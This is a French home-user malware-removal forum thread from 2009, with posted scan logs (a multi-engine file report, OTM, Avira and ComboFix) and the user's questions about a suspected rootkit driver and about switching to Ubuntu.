Fortinet 3.117.0.0 2009.07.03 -
GData 19 2009.07.05 -
Ikarus T3.1.1.64.0 2009.07.05 -
Jiangmin 11.0.706 2009.07.05 -
K7AntiVirus 7.10.783 2009.07.03 -
Kaspersky 7.0.0.125 2009.07.05 -
McAfee 5667 2009.07.05 -
McAfee+Artemis 5667 2009.07.05 -
McAfee-GW-Edition 6.8.5 2009.07.05 -
Microsoft 1.4803 2009.07.05 -
NOD32 4219 2009.07.05 -
Norman 6.01.09 2009.07.04 -
nProtect 2009.1.8.0 2009.07.05 -
Panda 10.0.0.14 2009.07.05 -
PCTools 4.4.2.0 2009.07.05 -
Prevx 3.0 2009.07.05 -
Rising 21.36.62.00 2009.07.05 -
Sophos 4.43.0 2009.07.05 -
Sunbelt 3.2.1858.2 2009.07.05 -
Symantec 1.4.4.12 2009.07.05 -
TheHacker 6.3.4.3.362 2009.07.04 -
TrendMicro 8.950.0.1094 2009.07.05 -
VBA32 3.12.10.7 2009.07.05 -
ViRobot 2009.7.3.1818 2009.07.03 -
VirusBuster 4.6.5.0 2009.07.05 -
Information additionnelle
File size: 54624 bytes
MD5...: 43b0076b3ab8996b84d2cc8f990b582f
SHA1..: 97d13f87d18e1829d9af7e54cd5a0b2d68d684e7
SHA256: 5787ad3e47054ed8417522330be69c9b122d33373b960a21ac52eb2d25ad3259
ssdeep: 768:Xht98mhWffPd0l3V+Vdj4AGXwZONbB0/92+U48swGs47+Sv9NLzbRUh:XhTb
E6VFXwkb0F2+U4nS8J7jRe
PEiD..: -
TrID..: File type identification
Win64 Executable Generic (87.2%)
Win32 Executable Generic (8.6%)
Generic Win/DOS Executable (2.0%)
DOS Executable Generic (2.0%)
Autodesk FLIC Image File (extensions: flc, fli, cel) (0.0%)
PEInfo: PE Structure information

( base data )
entrypointaddress.: 0x2e005
timedatestamp.....: 0x4718573f (Fri Oct 19 07:05:35 2007)
machinetype.......: 0x14c (I386)

( 5 sections )
name viradd virsiz rawdsiz ntrpy md5
.text 0x1000 0x9538 0x9600 6.46 f8bb0ff0be497fd92b3101ee9b134c78
.rdata 0xb000 0x204 0x400 2.61 c48c48509a6c34a23e4128aaf530cbcc
.data 0xc000 0x21674 0xa00 0.64 dad2fd5f4c81aa5f92ab076f0ab1a792
INIT 0x2e000 0x716 0x800 5.26 5fec7edfff8b298bc03ef77519f7f86f
.reloc 0x2f000 0xee2 0x1000 5.71 24939863336ea437d32d34528390c4bb

( 2 imports )
> ntoskrnl.exe: KeInitializeSpinLock, MmMapLockedPages, MmProbeAndLockPages, MmBuildMdlForNonPagedPool, IoAllocateMdl, RtlUnicodeStringToAnsiString, RtlInitUnicodeString, ZwQuerySystemInformation, ZwClose, wcslen, wcsrchr, wcschr, IoFreeIrp, KeSetEvent, PsGetCurrentThreadId, KeInitializeEvent, KeWaitForSingleObject, KeUnstackDetachProcess, KeStackAttachProcess, ZwCreateFile, ZwQuerySymbolicLinkObject, ZwOpenProcess, ZwQueryDirectoryFile, ObfDereferenceObject, IofCallDriver, KeGetCurrentThread, IoAllocateIrp, IoGetRelatedDeviceObject, ObReferenceObjectByHandle, MmUnmapLockedPages, RtlAnsiStringToUnicodeString, RtlInitAnsiString, ZwReadFile, ZwWriteFile, ZwQueryObject, ZwOpenSymbolicLinkObject, ObQueryNameString, strstr, IoDeleteDevice, IoDeleteSymbolicLink, PsSetCreateProcessNotifyRoutine, PsGetCurrentProcessId, KeServiceDescriptorTable, IofCompleteRequest, IoGetCurrentProcess, PsCreateSystemThread, IoCreateSymbolicLink, IoCreateDevice, PsGetVersion, ZwOpenKey, ZwQueryValueKey, ZwEnumerateValueKey, ZwEnumerateKey, KeAddSystemServiceTable, _except_handler3, KeTickCount, KeBugCheckEx, MmUnlockPages, IoFreeMdl, MmIsAddressValid, ExFreePoolWithTag, RtlFreeUnicodeString, ExAllocatePoolWithTag
> HAL.dll: KfRaiseIrql, KeGetCurrentIrql, KfAcquireSpinLock, KfReleaseSpinLock, KfLowerIrql

( 0 exports )
PDFiD.: -
RDS...: NSRL Reference Data Set
-
ThreatExpert info: <a href='http://www.threatexpert.com/report.aspx?md5=43b0076b3ab8996b84d2cc8f990b582f' target='_blank'>https://www.symantec.com?md5=43b0076b3ab8996b84d2cc8f990b582f</a>
packers (Kaspersky): PE_Patch

Je viens de faire un Mac Afee antirootkit, c'est positif, tout juste un F secure black!! RAS, alors que penser de tout ce qui vient de se passer depuis 10 jours?
Est ce pour faire vendre les logiciels? Comment interpréter alors les résultats de tous ces scans positifs d'ailleurs que ce soit pour antivir, avg ou malwarebyte's.
Que me conseilles tu de garder au final en dehors de antivir?
Que penses tu de Ubuntu, est ce fiable et garantit sans virus?
Si oui, ,est ce compliqué pour une novice comme moi de passer à Ubuntu? (désinstallation de windows totalement, etc...)
Que de questions en fait :), et tellement marre en même temps, les deux derniers rootkits soit disant détectés, viendrais d'un site ou j'ai vérifié la bande passante et mon débit qui se trouve ne pas correspondre à ce que je devrais avoir, et un site de traduction, si même ça, ça fou le dawa!!

Bonjour Jlpjlp,

J'ai regardé hier ou il devrait se trouver, le souci est que je ne le retrouve pas en prenant le chemin de sa destination et le dossier jaune nommé drivers et jaune plus pâle!!
Késako?

Merci jpl,

Je laisse à ton œil expert les deux rapports demandés, quand penses tu? :)

All processes killed
========== PROCESSES ==========
No active process named explorer.exe was found!
========== FILES ==========
C:\Documents and Settings\CLENET\Mes documents\FileZilla_3.2.5_win32-setup.exe moved successfully.
C:\Documents and Settings\Documents and Settings\CLENET\Local Settings\Temp\9093.exe moved successfully.
========== COMMANDS ==========

[EMPTYTEMP]

User: Administrateur
->Temp folder emptied: 0 bytes
->Temporary Internet Files folder emptied: 0 bytes
->FireFox cache emptied: 0 bytes

User: All Users

User: CLENET
->Temp folder emptied: 2152 bytes
->Temporary Internet Files folder emptied: 49286 bytes
->Java cache emptied: 0 bytes
->FireFox cache emptied: 68580279 bytes

User: Default User
->Temp folder emptied: 0 bytes
->Temporary Internet Files folder emptied: 0 bytes

User: Documents and Settings

User: LocalService
->Temp folder emptied: 0 bytes
File delete failed. C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\index.dat scheduled to be deleted on reboot.
->Temporary Internet Files folder emptied: 32902 bytes

User: NetworkService
->Temp folder emptied: 0 bytes
->Temporary Internet Files folder emptied: 0 bytes

%systemdrive% .tmp files removed: 0 bytes
%systemroot% .tmp files removed: 0 bytes
%systemroot%\System32 .tmp files removed: 0 bytes
Windows Temp folder emptied: 297081 bytes

RecycleBin emptied: 0 bytes

Total Files Cleaned = 65,77 mb

OTM by OldTimer - Version 3.0.0.3 log created on 07042009_233606

Files moved on Reboot...

Registry entries deleted on Reboot...

[ Rapport ToolsCleaner version 2.3.7 (par A.Rothstein & dj QUIOU) ]

--> Recherche:

C:\Qoobox: trouvé !
C:\_OTM: trouvé !
C:\Documents and Settings\CLENET\Bureau\OTM.exe: trouvé !

---------------------------------
--> Suppression:

C:\Documents and Settings\CLENET\Bureau\OTM.exe: supprimé !
C:\Qoobox: supprimé !
C:\_OTM: supprimé !

En attendant de tes nouvelles, je viens de mettre avg Anti-rootkit free en marche pour voir, et tout de suite au démarrage, je vois déjà sur system32/drivers/amyabosb.SYS hidden driver file, alors que je l'ai déjà check hier
Que dois en penser?

Bonjour,

Avira AntiVir Personal
Date de création du fichier de rapport : samedi 4 juillet 2009 12:24

La recherche porte sur 1446709 souches de virus.

Détenteur de la licence : Avira AntiVir Personal - FREE Antivirus
Numéro de série : 0000149996-ADJIE-0000001
Plateforme : Windows XP
Version de Windows : (Service Pack 2) [5.1.2600]
Mode Boot : Démarré normalement
Identifiant : SYSTEM
Nom de l'ordinateur : CLENET-ILURQE0A

Informations de version :
BUILD.DAT : 9.0.0.65 17959 Bytes 22/04/2009 12:06:00
AVSCAN.EXE : 9.0.3.6 466689 Bytes 21/04/2009 12:20:54
AVSCAN.DLL : 9.0.3.0 49409 Bytes 03/03/2009 09:21:02
LUKE.DLL : 9.0.3.2 209665 Bytes 20/02/2009 10:35:11
LUKERES.DLL : 9.0.2.0 13569 Bytes 03/03/2009 09:21:31
ANTIVIR0.VDF : 7.1.0.0 15603712 Bytes 27/10/2008 11:30:36
ANTIVIR1.VDF : 7.1.4.132 5707264 Bytes 24/06/2009 20:19:36
ANTIVIR2.VDF : 7.1.4.173 306688 Bytes 02/07/2009 22:28:31
ANTIVIR3.VDF : 7.1.4.180 29696 Bytes 03/07/2009 22:28:50
Version du moteur : 8.2.0.204
AEVDF.DLL : 8.1.1.1 106868 Bytes 29/06/2009 20:19:44
AESCRIPT.DLL : 8.1.2.13 426362 Bytes 02/07/2009 22:28:34
AESCN.DLL : 8.1.2.3 127347 Bytes 29/06/2009 20:19:43
AERDL.DLL : 8.1.2.2 438642 Bytes 02/07/2009 22:28:33
AEPACK.DLL : 8.1.3.18 401783 Bytes 29/06/2009 20:19:43
AEOFFICE.DLL : 8.1.0.38 196987 Bytes 29/06/2009 20:19:42
AEHEUR.DLL : 8.1.0.137 1823095 Bytes 29/06/2009 20:19:41
AEHELP.DLL : 8.1.3.6 205174 Bytes 29/06/2009 20:19:38
AEGEN.DLL : 8.1.1.48 348532 Bytes 02/07/2009 22:28:32
AEEMU.DLL : 8.1.0.9 393588 Bytes 09/10/2008 13:32:40
AECORE.DLL : 8.1.6.12 180599 Bytes 29/06/2009 20:19:37
AEBB.DLL : 8.1.0.3 53618 Bytes 09/10/2008 13:32:40
AVWINLL.DLL : 9.0.0.3 18177 Bytes 12/12/2008 07:47:30
AVPREF.DLL : 9.0.0.1 43777 Bytes 03/12/2008 10:39:26
AVREP.DLL : 8.0.0.3 155905 Bytes 20/01/2009 13:34:28
AVREG.DLL : 9.0.0.0 36609 Bytes 07/11/2008 14:24:42
AVARKT.DLL : 9.0.0.3 292609 Bytes 24/03/2009 14:05:22
AVEVTLOG.DLL : 9.0.0.7 167169 Bytes 30/01/2009 09:36:37
SQLITE3.DLL : 3.6.1.0 326401 Bytes 28/01/2009 14:03:49
SMTPLIB.DLL : 9.2.0.25 28417 Bytes 02/02/2009 07:20:57
NETNT.DLL : 9.0.0.0 11521 Bytes 07/11/2008 14:40:59
RCIMAGE.DLL : 9.0.0.21 2438401 Bytes 17/02/2009 12:49:32
RCTEXT.DLL : 9.0.37.0 88321 Bytes 15/04/2009 09:07:05

Configuration pour la recherche actuelle :
Nom de la tâche...............................: Contrôle intégral du système
Fichier de configuration......................: c:\program files\avira\antivir desktop\sysscan.avp
Documentation.................................: bas
Action principale.............................: interactif
Action secondaire.............................: ignorer
Recherche sur les secteurs d'amorçage maître..: marche
Recherche sur les secteurs d'amorçage.........: marche
Secteurs d'amorçage...........................: C:, F:,
Recherche dans les programmes actifs..........: marche
Recherche en cours sur l'enregistrement.......: marche
Recherche de Rootkits.........................: marche
Contrôle d'intégrité de fichiers système......: arrêt
Fichier mode de recherche.....................: Tous les fichiers
Recherche sur les archives....................: marche
Limiter la profondeur de récursivité..........: 20
Archive Smart Extensions......................: marche
Heuristique de macrovirus.....................: marche
Heuristique fichier...........................: moyen
Catégories de dangers divergentes.............: +APPL,+GAME,+JOKE,+PCK,+SPR,

Début de la recherche : samedi 4 juillet 2009 12:24

La recherche d'objets cachés commence.
'44855' objets ont été contrôlés, '0' objets cachés ont été trouvés.

La recherche sur les processus démarrés commence :
Processus de recherche 'avscan.exe' - '1' module(s) sont contrôlés
Processus de recherche 'firefox.exe' - '1' module(s) sont contrôlés
Processus de recherche 'usnsvc.exe' - '1' module(s) sont contrôlés
Processus de recherche 'msnmsgr.exe' - '1' module(s) sont contrôlés
Processus de recherche 'wscntfy.exe' - '1' module(s) sont contrôlés
Processus de recherche 'alg.exe' - '1' module(s) sont contrôlés
Processus de recherche 'lxcrcoms.exe' - '1' module(s) sont contrôlés
Processus de recherche 'svchost.exe' - '1' module(s) sont contrôlés
Processus de recherche 'jqs.exe' - '1' module(s) sont contrôlés
Processus de recherche 'avguard.exe' - '1' module(s) sont contrôlés
Processus de recherche 'soffice.bin' - '1' module(s) sont contrôlés
Processus de recherche 'soffice.exe' - '1' module(s) sont contrôlés
Processus de recherche 'TeaTimer.exe' - '1' module(s) sont contrôlés
Processus de recherche 'ctfmon.exe' - '1' module(s) sont contrôlés
Processus de recherche 'daemon.exe' - '1' module(s) sont contrôlés
Processus de recherche 'avgnt.exe' - '1' module(s) sont contrôlés
Processus de recherche 'jusched.exe' - '1' module(s) sont contrôlés
Processus de recherche 'ezprint.exe' - '1' module(s) sont contrôlés
Processus de recherche 'lxcrmon.exe' - '1' module(s) sont contrôlés
Processus de recherche 'sched.exe' - '1' module(s) sont contrôlés
Processus de recherche 'spoolsv.exe' - '1' module(s) sont contrôlés
Processus de recherche 'explorer.exe' - '1' module(s) sont contrôlés
Processus de recherche 'svchost.exe' - '1' module(s) sont contrôlés
Processus de recherche 'svchost.exe' - '1' module(s) sont contrôlés
Processus de recherche 'svchost.exe' - '1' module(s) sont contrôlés
Processus de recherche 'svchost.exe' - '1' module(s) sont contrôlés
Processus de recherche 'svchost.exe' - '1' module(s) sont contrôlés
Processus de recherche 'lsass.exe' - '1' module(s) sont contrôlés
Processus de recherche 'services.exe' - '1' module(s) sont contrôlés
Processus de recherche 'winlogon.exe' - '1' module(s) sont contrôlés
Processus de recherche 'csrss.exe' - '1' module(s) sont contrôlés
Processus de recherche 'smss.exe' - '1' module(s) sont contrôlés
'32' processus ont été contrôlés avec '32' modules

La recherche sur les secteurs d'amorçage maître commence :
Secteur d'amorçage maître HD0
[INFO] Aucun virus trouvé !

La recherche sur les secteurs d'amorçage commence :
Secteur d'amorçage 'C:\'
[INFO] Aucun virus trouvé !
Secteur d'amorçage 'F:\'
[INFO] Aucun virus trouvé !

La recherche sur les renvois aux fichiers exécutables (registre) commence :
Le registre a été contrôlé ( '44' fichiers).

La recherche sur les fichiers sélectionnés commence :

Recherche débutant dans 'C:\'
C:\pagefile.sys
[AVERTISSEMENT] Impossible d'ouvrir le fichier !
[REMARQUE] Ce fichier est un fichier système Windows.
[REMARQUE] Il est correct que ce fichier ne puisse pas être ouvert pour la recherche.
C:\Documents and Settings\CLENET\Mes documents\FileZilla_3.2.5_win32-setup.exe
[0] Type d'archive: NSIS
--> u
[AVERTISSEMENT] Aucun autre fichier n'a pu être décompressé de cette archive. L'archive est refermée.
[AVERTISSEMENT] Aucun autre fichier n'a pu être décompressé de cette archive. L'archive est refermée.
C:\Documents and Settings\CLENET\Mes documents\FileZilla_3.2.6_win32-setup.exe
[0] Type d'archive: NSIS
--> u
[AVERTISSEMENT] Aucun autre fichier n'a pu être décompressé de cette archive. L'archive est refermée.
[AVERTISSEMENT] Aucun autre fichier n'a pu être décompressé de cette archive. L'archive est refermée.
C:\Documents and Settings\Documents and Settings\CLENET\Local Settings\Temp\9093.exe
[0] Type d'archive: RAR SFX (self extracting)
--> Redist\DirectX\Apr2006_d3dx9_30_x86.cab
[1] Type d'archive: CAB (Microsoft)
--> d3dx9_30.dll
[AVERTISSEMENT] Aucun autre fichier n'a pu être décompressé de cette archive. L'archive est refermée.
[AVERTISSEMENT] Aucun autre fichier n'a pu être décompressé de cette archive. L'archive est refermée.
C:\WINDOWS\system32\drivers\sptd.sys
[AVERTISSEMENT] Impossible d'ouvrir le fichier !
Recherche débutant dans 'F:\'

Fin de la recherche : samedi 4 juillet 2009 13:20
Temps nécessaire: 55:30 Minute(s)

La recherche a été effectuée intégralement

6260 Les répertoires ont été contrôlés
327205 Des fichiers ont été contrôlés
0 Des virus ou programmes indésirables ont été trouvés
0 Des fichiers ont été classés comme suspects
0 Des fichiers ont été supprimés
0 Des virus ou programmes indésirables ont été réparés
0 Les fichiers ont été déplacés dans la quarantaine
0 Les fichiers ont été renommés
2 Impossible de contrôler des fichiers
327203 Fichiers non infectés
3564 Les archives ont été contrôlées
8 Avertissements
1 Consignes
44855 Des objets ont été contrôlés lors du Rootkitscan
0 Des objets cachés ont été trouvés

Bonsoir,

Re log avec tea timer désactivé, merci jlpjlp

ComboFix 09-07-02.02 - CLENET 03/07/2009 19:02.3 - NTFSx86
Microsoft Windows XP Professionnel 5.1.2600.2.1252.33.1036.18.703.325 [GMT 2:00]
Lancé depuis: c:\documents and settings\CLENET\Bureau\ccm.exe
AV: AntiVir Desktop *On-access scanning disabled* (Updated) {AD166499-45F9-482A-A743-FDD3350758C7}
.

((((((((((((((((((((((((((((( Fichiers créés du 2009-06-03 au 2009-07-03 ))))))))))))))))))))))))))))))))))))
.

2009-07-01 00:32 . 2009-07-01 00:32 -------- d-----r- c:\documents and settings\LocalService\Favoris
2009-06-30 20:40 . 2009-06-30 20:40 -------- d-sh--w- c:\documents and settings\CLENET\IECompatCache
2009-06-29 21:09 . 2009-06-29 21:09 -------- d-sh--w- c:\documents and settings\LocalService\IETldCache
2009-06-29 20:13 . 2009-03-30 08:32 96104 ----a-w- c:\windows\system32\drivers\avipbb.sys
2009-06-29 20:13 . 2009-02-13 10:28 22360 ----a-w- c:\windows\system32\drivers\avgntmgr.sys
2009-06-29 20:13 . 2009-02-13 10:17 45416 ----a-w- c:\windows\system32\drivers\avgntdd.sys
2009-06-29 20:13 . 2009-06-29 20:13 -------- d-----w- c:\program files\Avira
2009-06-29 20:13 . 2009-06-29 20:13 -------- d-----w- c:\documents and settings\All Users\Application Data\Avira
2009-06-29 13:42 . 2009-07-03 12:11 -------- d-----w- c:\program files\trend micro
2009-06-29 13:24 . 2008-06-01 13:43 70656 -c--a-w- c:\windows\system32\dllcache\sysinfo.exe.REN
2009-06-29 13:24 . 2008-06-01 13:42 15360 -c--a-w- c:\windows\system32\dllcache\register.exe.REN
2009-06-29 08:55 . 2009-07-03 11:23 -------- d-----w- c:\program files\Panda Security
2009-06-28 21:01 . 2007-01-18 12:00 3968 ----a-w- c:\windows\system32\drivers\AvgArCln.sys
2009-06-28 20:53 . 2009-06-28 20:53 54624 ----a-w- c:\windows\system32\46028.sys
2009-06-15 17:59 . 2009-06-15 17:59 -------- d-sh--w- c:\documents and settings\CLENET\PrivacIE
2009-06-15 06:47 . 2009-06-15 06:47 -------- d-sh--w- c:\documents and settings\CLENET\IETldCache
2009-06-15 06:42 . 2009-03-24 12:43 43008 ----a-w- c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\extensions\{3112ca9c-de6d-4884-a869-9855de68056c}\components\metricsloader.dll
2009-06-15 06:42 . 2009-03-24 12:43 43008 ----a-w- c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\extensions\{3112ca9c-de6d-4884-a869-9855de68056c}\components\googletoolbarloader.dll
2009-06-15 06:42 . 2009-03-24 12:43 235520 ----a-w- c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\extensions\{3112ca9c-de6d-4884-a869-9855de68056c}\libraries\metrics-ff2.dll
2009-06-15 06:42 . 2009-03-24 12:43 338432 ----a-w- c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\extensions\{3112ca9c-de6d-4884-a869-9855de68056c}\libraries\googletoolbar-ff2.dll
2009-06-15 06:42 . 2009-03-24 12:42 235008 ----a-w- c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\extensions\{3112ca9c-de6d-4884-a869-9855de68056c}\libraries\metrics-ff3.dll
2009-06-15 06:42 . 2009-03-24 12:42 345088 ----a-w- c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\extensions\{3112ca9c-de6d-4884-a869-9855de68056c}\libraries\googletoolbar-ff3.dll
2009-06-15 04:55 . 2009-06-15 04:55 47338 ----a-w- c:\documents and settings\CLENET\temps11.vbs
2009-06-15 03:05 . 2009-06-15 03:05 -------- d-----w- c:\windows\ie8updates
2009-06-15 02:57 . 2009-06-15 03:03 -------- dc-h--w- c:\windows\ie8
2009-06-15 02:57 . 2009-06-15 03:02 -------- d-----w- c:\windows\system32\fr-FR
2009-06-15 02:44 . 2009-04-30 21:16 12800 -c----w- c:\windows\system32\dllcache\xpshims.dll
2009-06-15 02:44 . 2009-04-30 21:16 246272 -c----w- c:\windows\system32\dllcache\ieproxy.dll
2009-06-15 02:44 . 2009-04-30 21:16 1985024 -c----w- c:\windows\system32\dllcache\iertutil.dll
2009-06-15 02:43 . 2009-04-30 21:16 11064832 -c----w- c:\windows\system32\dllcache\ieframe.dll
2009-06-15 02:31 . 2009-05-12 05:11 102912 -c----w- c:\windows\system32\dllcache\iecompat.dll
2009-06-15 02:08 . 2009-06-15 02:08 -------- d-----w- c:\documents and settings\All Users\Application Data\McAfee
2009-06-15 02:07 . 2009-06-15 02:07 152576 ----a-w- c:\documents and settings\CLENET\Application Data\Sun\Java\jre1.6.0_14\lzma.dll
2009-06-14 13:11 . 2009-06-14 13:11 -------- d-----w- c:\program files\MSN Messenger
2009-06-14 12:30 . 2001-11-13 15:46 69632 ----a-r- c:\windows\system32\LVUI2RC.dll
2009-06-14 12:30 . 2001-11-13 15:46 200704 ----a-r- c:\windows\system32\LVUI2.dll
2009-06-14 12:30 . 2001-11-13 15:43 57344 ----a-r- c:\windows\system32\LVComC.dll
2009-06-14 12:30 . 2001-11-13 15:45 172032 ----a-r- c:\windows\system32\lvcodec2.dll
2009-06-14 12:30 . 2001-11-13 15:45 53248 ----a-r- c:\windows\system32\LVFWWDMT.dll
2009-06-14 12:30 . 2001-11-13 15:43 98304 ----a-r- c:\windows\system32\LVComS.exe
2009-06-14 12:30 . 2001-11-13 15:41 38912 ----a-r- c:\windows\system32\drivers\lvcd.sys
2009-06-14 12:30 . 2001-11-13 15:39 412672 ----a-r- c:\windows\system32\drivers\lvcodek2.dll
2009-06-14 12:30 . 2001-11-13 15:40 59904 ----a-r- c:\windows\system32\drivers\lvcam2.dll
2009-06-12 15:11 . 2009-06-12 15:11 -------- d-----w- c:\windows\system32\wbem\Repository
2009-06-09 01:18 . 2009-06-09 01:18 -------- d-----w- c:\program files\Fichiers communs\Labtec
2009-06-09 01:17 . 2009-06-14 13:02 -------- d-----w- c:\program files\Fichiers communs\LogiShrd
2009-06-06 22:19 . 2005-08-25 20:10 9804 ----a-w- c:\windows\system\vdremote.dll
2009-06-06 22:19 . 2005-08-25 20:09 7244 ----a-w- c:\windows\system\vdsvrlnk.dll
2009-06-06 22:19 . 2005-12-09 13:00 -------- d-----w- c:\program files\VirtualDub
2009-06-06 22:17 . 2009-06-06 22:17 -------- d-----w- c:\program files\XviD

.
(((((((((((((((((((((((((((((((((( Compte-rendu de Find3M ))))))))))))))))))))))))))))))))))))))))))))))))
.
2009-07-03 16:53 . 2008-01-03 15:35 -------- d-----w- c:\documents and settings\CLENET\Application Data\FileZilla
2009-07-03 09:47 . 2008-05-20 08:40 -------- d-----w- c:\program files\Mozilla Thunderbird
2009-07-02 15:56 . 2009-02-09 12:51 1 ----a-w- c:\documents and settings\CLENET\Application Data\OpenOffice.org\3\user\uno_packages\cache\stamp.sys
2009-07-02 13:36 . 2008-02-13 14:20 -------- d-----w- c:\program files\Fichiers communs\Adobe
2009-06-30 12:34 . 2007-05-14 05:37 -------- d-----w- c:\program files\eMule
2009-06-30 11:18 . 2004-07-14 12:49 -------- d-----w- c:\documents and settings\CLENET\Application Data\dvdcss
2009-06-29 13:35 . 2001-08-28 12:00 73020 ----a-w- c:\windows\system32\perfc00C.dat
2009-06-29 13:35 . 2001-08-28 12:00 464474 ----a-w- c:\windows\system32\perfh00C.dat
2009-06-18 17:34 . 2009-02-16 09:13 -------- d-----w- c:\documents and settings\CLENET\Application Data\Spotify
2009-06-17 22:02 . 2008-06-01 12:45 -------- d-----w- c:\program files\Malwarebytes' Anti-Malware
2009-06-17 22:02 . 2008-10-07 11:16 3561743 ----a-w- c:\documents and settings\All Users\Application Data\Malwarebytes\Malwarebytes' Anti-Malware\mbam-setup.exe
2009-06-17 09:27 . 2008-10-07 11:16 38160 ----a-w- c:\windows\system32\drivers\mbamswissarmy.sys
2009-06-17 09:27 . 2008-06-01 12:45 19096 ----a-w- c:\windows\system32\drivers\mbam.sys
2009-06-15 02:35 . 2009-06-15 02:35 0 ----a-w- c:\documents and settings\CLENET\errorlog.tmp
2009-06-15 02:10 . 2009-05-31 01:13 410984 ----a-w- c:\windows\system32\deploytk.dll
2009-06-15 02:10 . 2008-06-01 21:52 -------- d-----w- c:\program files\Java
2009-06-10 15:23 . 2006-09-09 20:45 -------- d-----w- c:\documents and settings\All Users\Application Data\DVD Shrink
2009-06-09 01:38 . 2005-09-05 20:51 -------- d-----w- c:\program files\Fichiers communs\Real
2009-06-08 21:48 . 2007-07-18 17:27 -------- d-----w- c:\program files\Windows Live
2009-06-08 21:43 . 2007-07-18 17:27 -------- d-----w- c:\documents and settings\All Users\Application Data\WLInstaller
2009-06-08 21:15 . 2008-12-30 00:28 -------- d-----w- c:\program files\MSECACHE
2009-06-06 07:56 . 2007-03-19 17:48 -------- d-----w- c:\program files\lx_cats
2009-06-02 17:47 . 2009-05-08 11:07 -------- d-----w- c:\documents and settings\CLENET\Application Data\vlc
2009-06-02 17:46 . 2009-06-02 17:33 -------- d-----w- c:\documents and settings\CLENET\Application Data\DAEMON Tools Lite
2009-06-02 17:46 . 2008-06-04 00:31 -------- d-----w- c:\documents and settings\CLENET\Application Data\DAEMON Tools
2009-06-02 17:45 . 2009-06-02 17:45 -------- d-----w- c:\documents and settings\All Users\Application Data\DAEMON Tools Lite
2009-06-02 17:45 . 2009-06-02 17:45 -------- d-----w- c:\program files\DAEMON Tools Lite
2009-06-02 17:45 . 2009-06-02 17:45 -------- d-----w- c:\program files\DAEMON Tools Toolbar
2009-06-02 17:33 . 2008-06-04 00:31 721904 ----a-w- c:\windows\system32\drivers\sptd.sys
2009-05-28 17:38 . 2009-05-28 17:38 -------- d-----w- c:\program files\DVDFab HD Decrypter 4
2009-05-21 20:21 . 2004-08-07 11:49 -------- d-----w- c:\documents and settings\All Users\Application Data\Spybot - Search & Destroy
2009-05-20 18:55 . 2009-05-20 18:53 -------- d-----w- c:\program files\Spybot - Search & Destroy
2009-05-13 05:04 . 2004-08-03 22:54 915456 ----a-w- c:\windows\system32\wininet.dll
2006-11-30 15:22 . 2006-11-30 15:22 18447022 ----a-w- c:\program files\openofficeorg1.cab
2006-11-30 15:17 . 2006-11-30 15:17 217 ----a-w- c:\program files\setup.ini
2006-11-30 15:17 . 2006-11-30 15:17 5298688 ----a-w- c:\program files\openofficeorg21.msi
2002-03-11 09:06 . 2002-03-11 09:06 1822520 ----a-w- c:\program files\instmsiw.exe
2002-03-11 08:45 . 2002-03-11 08:45 1708856 ----a-w- c:\program files\instmsia.exe
2005-01-19 09:48 . 2005-01-19 09:48 56 -csha-r- c:\windows\system32\68C1294D9F.sys
2005-01-19 09:48 . 2005-01-19 09:48 1890 -csha-w- c:\windows\system32\KGyGaAvL.sys
.

((((((((((((((((((((((((((((((((( Points de chargement Reg ))))))))))))))))))))))))))))))))))))))))))))))))
.
.
*Note* les éléments vides & les éléments initiaux légitimes ne sont pas listés
REGEDIT4

[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"DWQueuedReporting"="c:\progra~1\FICHIE~1\MICROS~1\DW\dwtrig20.exe" [2005-04-25 36040]
"DAEMON Tools Lite"="c:\program files\DAEMON Tools Lite\daemon.exe" [2009-04-23 691656]
"ctfmon.exe"="c:\windows\system32\ctfmon.exe" [2004-08-03 15360]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"UserFaultCheck"="c:\windows\system32\dumprep 0 -u" [X]
"lxcrmon.exe"="c:\program files\Lexmark 2400 Series\lxcrmon.exe" [2006-03-06 286720]
"EzPrint"="c:\program files\Lexmark 2400 Series\ezprint.exe" [2006-02-07 98304]
"FaxCenterServer"="c:\program files\Lexmark Fax Solutions\fm3032.exe" [2006-02-02 290816]
"LXCRCATS"="c:\windows\System32\spool\DRIVERS\W32X86\3\LXCRtime.dll" [2006-02-24 65536]
"NeroFilterCheck"="c:\windows\system32\NeroCheck.exe" [2001-07-09 155648]
"NeroCheck"="c:\windows\System32\\NeroCheck.exe" [2001-07-09 155648]
"SunJavaUpdateSched"="c:\program files\Java\jre6\bin\jusched.exe" [2009-06-15 148888]
"avgnt"="c:\program files\Avira\AntiVir Desktop\avgnt.exe" [2009-03-02 209153]
"Adobe Reader Speed Launcher"="c:\program files\Adobe\Reader 9.0\Reader\Reader_sl.exe" [2009-02-27 35696]

c:\documents and settings\CLENET\Menu D‚marrer\Programmes\D‚marrage\
OpenOffice.org 3.0.lnk - c:\program files\OpenOffice.org 3\program\quickstart.exe [2008-12-15 384000]

[HKEY_LOCAL_MACHINE\software\microsoft\security center\Monitoring]
"DisableMonitoring"=dword:00000001

[HKLM\~\services\sharedaccess\parameters\firewallpolicy\standardprofile]
"EnableFirewall"= 0 (0x0)

[HKLM\~\services\sharedaccess\parameters\firewallpolicy\standardprofile\AuthorizedApplications\List]
"c:\\WINDOWS\\system32\\sessmgr.exe"=
"%windir%\\system32\\sessmgr.exe"=
"c:\\Program Files\\eMule\\emule.exe"=
"c:\\Program Files\\IncrediMail\\bin\\ImpCnt.exe"=
"c:\\Program Files\\Freeplayer\\vlc\\vlc.exe"=
"c:\\Program Files\\VideoLAN\\VLC\\vlc.exe"=
"c:\\Program Files\\Spotify\\spotify.exe"=
"c:\\Program Files\\Mozilla Firefox\\firefox.exe"=
"c:\\Program Files\\Mozilla Thunderbird\\thunderbird.exe"=
"c:\\WINDOWS\\system32\\dpvsetup.exe"=
"c:\\Program Files\\MSN Messenger\\msnmsgr.exe"=
"c:\\Program Files\\MSN Messenger\\livecall.exe"=

